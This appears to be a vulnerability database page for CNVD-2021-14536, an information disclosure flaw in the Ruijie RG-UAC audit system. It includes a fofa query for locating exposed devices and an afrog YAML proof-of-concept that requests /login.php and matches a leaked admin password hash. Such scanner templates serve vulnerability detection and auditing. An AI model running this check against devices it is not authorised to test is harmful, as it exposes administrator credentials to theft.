CNVD-2021-14536: Ruijie RG-UAC Information Disclosure

2025-08-01 Ruijie RG-UAC PoC Public

Description

Ruijie RG-UAC Unified Internet Behavior Management Audit System is susceptible to information disclosure. Attackers could obtain user accounts and passwords by reviewing the source code of web pages, resulting in the leakage of administrator user authentication information.

fofa: title="RG-UAC登录页面"

PoC

id: CNVD-2021-14536

info:
  name: Ruijie RG-UAC Information Disclosure
  author: jweny,daffainfo
  severity: high
  verified: true
  description: |-
    Ruijie RG-UAC Unified Internet Behavior Management Audit System is susceptible to information disclosure. Attackers could obtain user accounts and passwords by reviewing the source code of web pages, resulting in the leakage of administrator user authentication information.
    fofa: title="RG-UAC登录页面"
  reference:
    - https://www.adminxe.com/2163.html
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-14536
  tags: ruijie,cnvd,cnvd2021,disclosure
  created: 2021/10/23

rules:
  r0:
    request:
      method: GET
      path: /login.php
    expression: response.status == 200 && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2021/CNVD-2021-14536.yaml

References

Related Vulnerabilities